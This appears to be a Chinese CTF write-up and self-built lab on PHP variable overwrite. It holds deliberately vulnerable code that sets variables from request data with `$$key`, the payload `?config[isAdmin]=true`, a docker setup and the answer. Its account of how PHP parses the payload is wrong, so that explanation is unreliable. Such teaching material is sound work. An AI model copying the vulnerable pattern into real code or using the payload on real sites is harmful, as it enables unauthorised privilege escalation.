考察遍历覆盖

<?php
include 'config.php'; // 引入配置文件(包含 FLAG)
highlight_file(__FILE__); // 显示当前文件源码
error_reporting(0); // 关闭错误报告(隐藏错误信息)
class ConfigModel {
public $apiKey = ''; // API 密钥
public $isAdmin = false; // 管理员标志(关键!)
public $requestTime = 0; // 请求时间
public function __construct() {
$this->requestTime = time();
// 生成随机 apiKey,无法预测
$this->apiKey = md5($_SERVER['REMOTE_ADDR'] . rand(1, 99999) . "S4ltY_String");
}
public function validateApiKey($inputKey) {
if ($inputKey === $this->apiKey) { // 严格比较
$this->isAdmin = true; // 验证成功则设为管理员
return true;
}
return false;
}
}
$config = new ConfigModel(); // 创建配置对象
$requestData = array_merge($_GET, $_POST); // 合并 GET 和 POST 参数
foreach ($requestData as $key => $value) {
$$key = $value; // 🔴 变量覆盖漏洞!
}
if (isset($user_api_key)) {
$config->validateApiKey($user_api_key);
}
if (is_array($config) && isset($config['isAdmin']) && $config['isAdmin'] === 'true') {
die("Success " . $FLAG);
} else {
echo "<br>Access Denied.";
}
?>
这道题的关键点是满足下面3个条件:
is_array($config) // 条件1: $config 必须是数组
isset($config['isAdmin']) // 条件2: $config['isAdmin'] 必须存在
$config['isAdmin'] === 'true' // 条件3: 值必须是字符串 'true'
那么我们通过变量覆盖实现攻击,我们通过GET方式来传递如下payload
?config[isAdmin]=true
此时PHP会解析成
$_GET = ['config[isAdmin]' => 'true']
然后进入漏洞循环
foreach ($requestData as $key => $value) {
// 第一次循环会读出如下内容:
$key = 'config[isAdmin]'
$value = 'true'
// 然后就会执行执行 $$key = $value
// 即 $config['isAdmin'] = 'true'
}
最终通过所有验证
is_array($config) → ✅ true
isset($config['isAdmin']) → ✅ true
$config['isAdmin'] === 'true' → ✅ true(字符串比较)
下面是攻击流程图
┌─────────────────────────────────────────────────────────┐
│ 攻击者发送请求 │
│ GET /index.php?config[isAdmin]=true │
└────────────────────┬────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ PHP 解析 GET 参数 │
│ $_GET = ['config[isAdmin]' => 'true'] │
└────────────────────┬────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ 进入漏洞循环 foreach │
│ $key = 'config[isAdmin]' │
│ $value = 'true' │
└────────────────────┬────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ 执行变量覆盖 $$key = $value │
│ $config['isAdmin'] = 'true' │
│ ($config 从对象变成数组) │
└────────────────────┬────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ 通过所有判断条件 │
│ is_array($config) → true │
│ isset($config['isAdmin']) → true │
│ $config['isAdmin'] === 'true' → true │
└────────────────────┬────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ 输出 Flag 🎉 │
│ Success flag{variable_overwrite_learned} │
└─────────────────────────────────────────────────────────┘
最终效果如下:

下面是自己弄的练习题
文件1:题目主文件
<?php
// CTF Challenge - Variable Overwrite Vulnerability
// 变量覆盖漏洞练习
error_reporting(0);
class ConfigModel {
public $apiKey = '';
public $isAdmin = false;
public $requestTime = 0;
public function __construct() {
$this->requestTime = time();
$this->apiKey = md5($_SERVER['REMOTE_ADDR'] . rand(1, 99999) . "S4ltY_String");
}
public function validateApiKey($inputKey) {
if ($inputKey === $this->apiKey) {
$this->isAdmin = true;
return true;
}
return false;
}
}
$config = new ConfigModel();
// 漏洞点:变量覆盖
$requestData = array_merge($_GET, $_POST);
foreach ($requestData as $key => $value) {
$$key = $value; // 危险!用户可控的变量覆盖
}
if (isset($user_api_key)) {
$config->validateApiKey($user_api_key);
}
// 获取flag的条件
if (is_array($config) && isset($config['isAdmin']) && $config['isAdmin'] === 'true') {
die("🎉 Success! Flag: " . getenv("FLAG"));
} else {
echo "<br>❌ Access Denied.";
echo "<br><br>💡 Hint: Try to overwrite the \$config variable";
}
// 显示源码供学习
if (isset($_GET['source'])) {
highlight_file(__FILE__);
}
?>
<html>
<head><title>CTF Challenge - Variable Overwrite</title></head>
<body>
<h2>📚 学习目标</h2>
<ul>
<li>理解PHP变量覆盖漏洞(Variable Overwrite)</li>
<li>掌握 $$ 可变变量的利用方法</li>
<li>学会通过变量覆盖改变程序逻辑</li>
</ul>
<h2>🎯 挑战目标</h2>
<p>让 <code>$config['isAdmin'] === 'true'</code></p>
<h2>🔍 提示</h2>
<ul>
<li>注意第24-26行的foreach循环</li>
<li>$$key = $value 会导致变量覆盖</li>
<li>尝试覆盖 $config 变量</li>
</ul>
<br>
<a href="?source=1">查看源码</a>
</body>
</html>
文件2:docker-compose.yml配置文件
version: '3.8'
services:
ctf-challenge:
image: php:7.4-apache # 直接使用镜像,不需要 build
ports:
- "8080:80"
environment:
- FLAG=flag{variable_overwrite_learned}
volumes:
- ./src:/var/www/html # 挂载本地代码
题目答案
http://localhost:8080/?config[isAdmin]=true